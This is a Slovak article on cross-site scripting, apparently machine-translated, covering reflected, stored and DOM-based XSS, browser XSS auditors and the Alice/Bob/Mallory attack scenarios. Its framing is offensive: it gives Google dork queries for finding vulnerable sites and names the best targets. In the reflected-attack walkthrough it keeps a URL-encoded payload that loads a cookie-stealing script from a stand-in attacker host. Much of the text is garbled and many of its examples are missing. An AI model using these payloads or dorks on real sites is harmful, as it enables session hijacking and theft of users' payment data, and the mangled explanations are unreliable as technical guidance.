XSS ATTIGHT TRAINING. XSS zraniteľnosť - čo to je? Príklady zraniteľnosti XSS. Údaje z vyplnených formulárov
IntersPe Scripting (XSS) je zraniteľnosť, ktorá má implementovať kód spustiteľný na strane klienta (JavaScript) na webovej stránke, ktorú sú iní používatelia.
Zraniteľnosť vzniká z dôvodu nedostatočného filtrovania údajov, ktoré užívateľ pošle vložiť do webovej stránky. Je oveľa jednoduchšie pochopiť Špecifický príklad. Pamätajte kniha návštev - Toto sú programy, ktoré sú určené na prijímanie údajov od užívateľa a následného zobrazenia. Predstavte si, že Kniha návštev nie je v žiadnom prípade kontrolovať a nevytvára zadané údaje, ale jednoducho ich zobrazí.
Môžete si objednať svoje vlastné jednoduchší skript (Nie je nič jednoduchšie ako písať zlé skripty na PHP - je to veľmi zapojené). Ale už existuje veľa pripravených možností. Napríklad navrhujem začať známy s Dojo a Owaspet Mutillidae II. Existuje podobný príklad. V stand-alone dojo prostredie prejdite do prehliadača pomocou odkazu: http: //localhost/mutillidae/index.php? Page \u003d Add-to-Your-BLOG.PHP
Ak niekto od používateľov zadaných:
Táto webová stránka sa zobrazí:
Hej! Ako vaše stránky.
A ak užívateľ vstúpi do toho:
Hej! Ako vaše stránky.
Ktoré sa zobrazia takto:
Prehliadače Udržujte súbor cookies veľké číslo stránky. Každá stránka môže získať súbory cookie len uložené na ne. Napríklad webová stránka príkladu.com si zachovala niektoré cookies vo vašom prehliadači. Ste haváriou na stránke iného.com, táto stránka (klient a Server skripty) nemôžu pristupovať k cookies, ktoré webová stránka príkladu.com uložila.
Ak je lokalita Example.com zraniteľná na XSS, potom to znamená, že môžeme jedným spôsobom alebo druhým, aby sme implementovali kód Javascript do neho, a tento kód bude vykonaný v mene stránky Examp.ction.com! Tí. Tento kód dostane napríklad prístup ku Cookis Site Example.com.
Myslím, že každý si pamätá, že JavaScript sa vykonáva v užívateľských prehliadačoch, t.j. S prítomnosťou XSS, vložená Škodlivý kód Dostane prístup k údajom používateľa, ktoré otvorili stránku webovej stránky.
Vložený kód je schopný všetkému, čo môže JavaScript, menovite:
- prístup k položke Cookies zobrazenej lokality
- môže vykonať akékoľvek zmeny vzhľad stránka
- prístup k výmenným nárazníkom
- môže implementovať programy na Javascript, napríklad KI-LOGGERS (tlačí zaklopujúce zásielky)
- dotknite sa hovädzieho mäsa.
- a atď.
Najjednoduchší príklad S COOKIZ:
Vlastne, upozornenie. Používa len na detekciu XSov. Skutočné škodlivé úžitkové zaťaženie skryté akcie. Je skrytý viaže sa na diaľkový server votrelcov a prenáša ukradnuté údaje o ňom.
Typy XSov.
Najdôležitejšou vecou je, že musíte pochopiť o typoch XSov, čo sa stanú:
- Uložené (konštantné)
- (Netratúšové)
Príklad trvalej:
- Útočník zaviedol špeciálne vytvorenú správu pre knihu hostí (Komentár, Forum Message, Profile), ktorá je uložená na serveri, vložená zo servera vždy, keď používatelia požadujú zobrazenie tejto stránky.
- Útočník dostal prístup k údajom servera, napríklad prostredníctvom SQL injekcie a zavedená na užívateľsky nazývaný dáta pre škodlivý kód JavaScriptu (s Ki-Loggers alebo s hovädzím mäsom).
Vzorka netrhaných:
- Stránka má vyhľadávanie, ktoré spolu s výsledkami vyhľadávania ukazuje niečo ako "Hľadali ste: [Hľadať reťazec]", zatiaľ čo údaje nie sú správne filtrované. Vzhľadom k tomu, že táto stránka sa zobrazí len na to, aby mal odkaz na to, zatiaľ čo útočník nebude odoslať odkaz na iných používateľov stránky, útok nebude fungovať. Namiesto odoslania odkazu na obeť, môžete použiť umiestnenie škodlivého skriptu na neutrálnom mieste, ktoré navštevuje obeť.
Stále vyniknúť (niektoré ako druh netrvaných slabých miest XSov, niektorí hovoria, že tento druh môže byť rôznymi konštantnými XSS):
- Model domu
Vlastnosti XSS založené na Dom
Ak ste úplne jednoduchý, škodlivý kód "obyčajné" netrhavé XSS môžete vidieť, ak otvoríte HTML kód. Napríklad, prepojenie je vytvorené týmto spôsobom:
Http://example.com/search.php?q\u003d "/\u003e
A keď otvoríte pôvodný HTML kód, vidíme niečo také:
A DOM XSS mení štruktúru DOM, ktorá je vytvorená v prehliadači na lietať a vidieť škodlivý kód môžeme len pri prezeraní vytvorenej domu. HTML sa nezmení. Vezmime tento kód napríklad:
Že v prehliadači uvidíme:
Zdrojový kód stránky:
Poďme vytvoriť adresu takto:
Http: //localhost/tests/xss/dom_xss.html#input\u003dTOKENALEX.;
Teraz stránka vyzerá takto:
Pozrime sa však zdroj HTML:
Zmenilo sa absolútne nič. O tom som povedal, musíme sledovať dokument štruktúry DOM na identifikáciu škodlivého kódu:
Tu je pracovný prototyp XSS, pre skutočný útok potrebujeme komplexnejšie užitočné zaťaženie, ktoré je nemožné z dôvodu skutočnosti, že aplikácia prestane prečítať ihneď po bode s čiarkou, a niečo podobné upozornenie (1); ALERT (2) Už nie je možné. Avšak, vďaka uNESCAPE () V vrátených údajoch môžeme použiť užitočné zaťaženie takto:
Http: //localhost/tests/xss/dom_xss.html#input\u003dTOKENALEX.;
Kde sme nahradili symbol ; O ekvivalente kódovanej v URI!
Teraz môžeme napísať malware Javascript a urobiť odkaz na odoslanie obete, ako sa vykonáva na štandardné netrhané skriptovanie.
Auditor XSS
V Google Chrome. (ako aj v Opera, ktorý teraz používa motor Chrome Google), čakal som na takéto prekvapenie:
dom_xss.html: 30 Audítor XSS odmietol vykonať skript v "http: //localhost/tests/xss/dom_xss.html#input\u003dToken \u003cskript\u003e Upozornenie (1)"Vzhľadom k tomu, že jeho zdrojový kód bol nájdený v rámci žiadosti. Audítor bol povolený, pretože server nezodpovedal ani" X-XSS-ochranu "ani" obsah-bezpečnostná politika ".
Tí. Teraz v prehliadači je Auditor XSS, ktorý sa pokúsi zabrániť XSS. Neexistuje žiadna taká funkcia vo Firefoxe, ale myslím si, že je to otázka času. Ak bude implementácia v prehliadačoch úspešná, potom môžeme hovoriť o významných ťažkostiach používania XSS.
Je užitočné si to pamätať moderné prehliadače Podrobné kroky na obmedzenie úrovne fungovania problémov, ako sú netrhavé XSS a založené na DOM XSS. Vrátane je potrebné zapamätať si pri testovaní webových stránok pomocou prehliadača - to môže byť aj to, že webová aplikácia je zraniteľná, ale nevidíte pop-up potvrdenie z dôvodu, že prehliadač ho blokuje.
Príklady využívania XSov.
Mladé, ktoré majú v úmysle používať zraniteľnosti IntersiteIte skriptovania, by sa mali priblížiť každej triede zraniteľnosti rôznymi spôsobmi. Tu sú opísané vektory útokov na každú triedu.
S Fazabilitmi XSS, hovädzie mäso môže byť použité v útokoch, ktoré rozširuje útok z webovej stránky do miestneho prostredia používateľov.
Príklad útoku s netrhanými XSS
1. Alice často navštevuje konkrétnu webovú stránku, ktorá hostiteľom Bob. Webová stránka BOB umožňuje Alice prihlásiť sa s názvom používateľa / hesla a ušetriť citlivé údaje, ako sú informácie o platbe. Keď užívateľ cvičí vstup, prehliadač si zachováva autorizačné cookies, ktoré vyzerajú ako nezmyselné znaky, t.j. Obe počítače (klient a server) si uvedomujú, že zadali.
2. Malória poznamenáva, že webová stránka BOB obsahuje netrhajúcu zraniteľnosť XSov:
2.1 Pri návšteve stránky vyhľadávania zadáme riadok na vyhľadávanie a kliknutím na tlačidlo Odoslať, ak sa výsledky nenačítajú, stránka sa zobrazí zadaný vyhľadávací reťazec, za ktorým nasledujú slová "NOT FOUND" a URL http://bobsite.org?q\u003dyu vyhľadávací dopyt
2.2 s normálnym vyhľadávacím dopytom ako slovo " psík»Stránka Jednoducho sa zobrazí" psík NO FOUND "A URL HTTP://BOBSSITE.ORG?Q\u003d psíkČo je celkom normálne správanie.
2.3 Avšak, keď je na vyhľadávanie odoslaný abnormálny vyhľadávací dopyt :
2.3.1 Zobrazí sa výstražné hlásenie (ktoré hovorí "XSS").
2.3.2 Stránka zobrazí nenájdené Spolu s chybovým hlásením s textom "XSS".
2.3.3 URL vhodná na prevádzku http://bobssite.org?q\u003d.
3. Malózy navrhuje URL na prevádzku zraniteľnosti:
3.1 Ona robí URL http://bobssite.org?q\u003dpuppies. . Môže sa rozhodnúť previesť znaky ASCII v hexadecimálnom formáte, ako napr http://bobssite.org?q\u003dpuppies%3cscript %2520SRC%3D%22HTTP%3A%2F%2FMALLORYSEVILSITE.com%2FAUTHSTEALERER.JS%22%3E. Aby ľudia boli schopní okamžite dešifrovať škodlivú adresu URL.
3.2 Odošle e-mail na niektorý nič netušiaci člen stránky Bob, hovorí: "Pozrite sa na chladných psov."
4. Alice dostane list. Miluje psov a klikne na odkaz. Ona ide na stránku Bob vo vyhľadávaní, nenašla nič, tam sa nenachádza, zobrazuje "psi neboli nájdené", a v strede tagu, štítok sa spustí s skriňom (je neviditeľný na obrazovke), zásielky a vykoná program malej Authstealer.js (Attack XSS). Alice na to zabudne.
5. Authstealer.js program začína v prehliadači ALICE, ako keby jeho zdroj bol webová stránka BOB. Zachytáva kópiu Alice Authorization Cookies a pošle na malomory server, kde ich odstránili.
7. Teraz, keď malezie vo vnútri, ide na webovú stránku webovej stránky, vyzerá a kradne kópiu kópie čísla kreditnej karty Alice. Potom ide a zmení heslo, t.j. Teraz Alice nemôže ani ísť.
8. Rozhodne sa prijať ďalší krok a pošle odkaz na Bob sám podobne podobne, a tak dostane administratívne privilégiá miesta Bob.
Útok s konštantnými XSS
- Malérie má účet na mieste Bob.
- Práca poznamenáva, že webová stránka BOB obsahuje konštantnú zraniteľnosť XSov. Ak pôjdete nová časť, Umiestnite komentár, potom sa zobrazí, že by nebolo vytlačené. Ak však textový text obsahuje HTML tagy, tieto značky sa zobrazia, ako je to, a akékoľvek spustené značky skriptovania.
- Práca číta článok v sekcii Novinky a píše komentár v sekcii Komentáre. V komentári vloží text:
- V tomto príbehu sa mi páčili psov. Sú tak pekné!
- Keď Alice (alebo niekto iný) Stiahnite si stránku s týmto komentárom, malárny script tag je spustený a kradnúť autorizačné kuchári Alice, pošle maláry k tajnému serveru zbierať.
- Malérie môžu teraz zachytiť alice session a dať sa na Alice.
Vyhľadávacie stránky zraniteľné na XSS
Dorki pre XSS.
Prvým krokom je výber stránok, na ktorých budeme vykonávať útoky XSov. Stránky je možné prihlásiť pomocou Google Dorkov. Tu sú niektoré z týchto vzdialeností, ktoré kopírujú a prilepiť v Google vyhľadávanie:
- inurl: vyhľadávanie.php? q \u003d
- inurl: .php? q \u003d
- inurl: vyhľadávanie.php.
- inurl: .php? vyhľadávanie \u003d
Predtým otvorí zoznam stránok. Musíte otvoriť stránku a nájsť vstupné polia na ňom, ako je formulár spätnej väzby, vstupný formulár, vyhľadávanie stránok atď.
Ihneď si všimnem, že je takmer zbytočné hľadať zraniteľnosti v populárnych automaticky aktualizovaných webových aplikáciách. Klasickým príkladom takejto aplikácie je WordPress. V skutočnosti, zraniteľnosti v programe WordPress, a najmä v jeho pluginoch, existujú. Okrem toho existuje mnoho stránok, ktoré nie sú aktualizované motora WordPress (Kvôli tomu, že webmaster urobil niektoré zmeny zdrojového kódu), ani pluginy a témy (spravidla, tieto sú pirátske pluginy a témy). Ale ak čítate túto časť a rozpoznajte niečo nové z neho, potom WordPress ešte nie je pre vás ... Budem sa určite vrátiť k nemu neskôr.
Najlepšie ciele sú rôzne samoobslužné motory a skripty.
Môžete si vybrať ako užitočné zaťaženie na vloženie
Venujte pozornosť, na ktorú kódy kódu HTML kódujú váš vložený kód. Tu je príklad typického poľa v poli ( zaviesť):
Naše užitočné zaťaženie pôjde tam, kde je teraz slovo "vankúš". Tí. Otočte na tag zaviesť. Môžeme sa vyhnúť tomu - zatvoriť dvojitú cenovú ponuku, a potom samotný tag "/>
"/>
Skúsme ju pre niektoré stránky:
Vynikajúca zraniteľnosť
Zraniteľnosť XSov
Pravdepodobne všetky webové aplikácie skenery majú vstavaný skener Zraniteľnosti XSS. Táto téma je awkhanging, je lepšie sa zoznámiť s každým takýmto skenerom samostatne.
Krížové skriptovanie (skrátené XSS) je rozšírená zraniteľnosť, ktorá ovplyvňuje mnohé webové aplikácie. Umožňuje útočníkovi implementovať škodlivý kód na webovú stránku takým spôsobom, že prehliadač používateľa, ktorý zadal stránku, vykoná tento kód.
Zvyčajne sa vyžaduje určitá interakcia s užívateľom na prevádzku tejto zraniteľnosti: buď je lákať na infikovanom mieste so sociálnym inžinierstvom, alebo len čaká, kým on sám navštívi túto stránku. Preto, vývojári často nie sú vnímaní vážne-zraniteľnosť XSov.
Ale ak nie sú eliminované, môže to byť vážna bezpečnostná hrozba.
Predstavte si, že sme v paneli WordPress Admin, pridajte nový obsah. Ak použijeme plugin zraniteľný na XSS, môže spôsobiť, že prehliadač vytvorí nový administrátor, upravte obsah a vykonajte iné škodlivé akcie. Cross-site skriptovanie poskytuje útočníkovi takmer úplnú kontrolu nad najdôležitejším softvér V súčasnosti - prehliadač.
XSS: Zraniteľnosť vstrekovania
Akákoľvek webová stránka alebo aplikácia má niekoľko miest vstupu údajov - formuláre na samotnú adresu URL. Najjednoduchší príklad vstupných údajov je, keď zadáme formulár používateľského mena a hesla:
Naše meno bude uložené v databáze lokality pre následnú interakciu s nami. Určite, keď ste prešli autorizáciou na akomkoľvek mieste, videli ste osobný pozdrav v štýle "Vitajte, Ilya".
Je na tieto účely, že používateľské mená sú uložené v databáze.
Injekcia sa nazýva postup, keď namiesto mena alebo hesla, špeciálna postupnosť symbolov, ktorá robí server alebo prehliadač reagovať na určitú, požadovaný útočník je zadaný.
Intersight skript sa nazýva injekcia, ktorá implementuje kód, ktorý vykoná akcie v prehliadači v mene webovej stránky. Môže sa vyskytnúť s notifikáciou používateľa av režim pozadia, bez jeho vedomostí.
Tradičné útoky XSov:
(Nestály).
Odráža na útok XSS je spustený, keď užívateľ ide na špeciálne pripravený odkaz.
Tieto chyby sa zobrazia, keď sú údaje poskytnuté webovým klientom najčastejšie v parametroch HTTP dotazov alebo vo forme HTML sú vykonané priamo pomocou Server skriptov na syntaktickú analýzu a zobraziť stránku s výsledkami pre tohto klienta, bez riadneho spracovania.
Uložené (konštantné).
Uložené XSS sú možné, keď útočník spravuje na realizáciu škodlivého kódu na serveri, spustený v prehliadači pri každom prístupe k pôvodnej stránke. Klasickým príkladom tejto zraniteľnosti sú fóra, na ktorých je povolené ponechať komentáre vo formáte HTML.
Zraniteľnosť spôsobené kódom na strane klienta (JavaScript, Visual Basic, Flash atď.):
Tiež známy ako modely DOM:
(Nestály).
Rovnako ako v prípade stránky servera, len v tomto prípade je útok možný z dôvodu, že kód je spracovaný prehliadačom.
Uložené (konštantné).
Podobne ako uskladnenie XSS na strane servera, len v tomto prípade je škodlivý komponent uložený na strane klienta pomocou skladovania prehliadača.
Príklady zraniteľnosti XSS.
Zaujímavé je, že vo väčšine prípadov je opísaná táto zraniteľnosť, sme sa vystrašili nasledujúcim kódom:
Http://www.site.com/page.php?var\u003d
Existujú dva typy zraniteľností XSS - pasívne a aktívne.
Aktívna zraniteľnosť Nebezpečnejšie, ako útočník nemusí lákať obetu na špeciálnom spojení, stačí pre neho na implementáciu kódu do základne alebo nejaký súbor na serveri. Všetci návštevníci stránky sa teda automaticky stanú obeťami. Môže byť integrovaný, napríklad, vložením kódu SQL (SQL injekciu). Preto by ste nemali dôverovať údajom uloženým v databáze, aj keď v interiéri boli spracované.
Príklad pasívna zraniteľnosť Môžete vidieť na samom začiatku článku. Existuje už aj sociálne inžinierstvo, napríklad dôležitý list od správy lokality, ktorý vás požiada o skontrolovanie nastavení vášho účtu, po obnovení zo zálohy. V súlade s tým potrebujete poznať adresu obete alebo jednoducho zariadiť newsletter spamu alebo umiestniť príspevok na nejaké fórum, a ešte nie je skutočnosť, že obete budú naivné a prejdú na váš odkaz.
Okrem toho, pasívne zraniteľné miesta môžu podliehať tak, aby post a získali parametre. S po parametroch, bude to pochopené, budete musieť ísť na triky. Napríklad presmerovanie z miesta votrelca.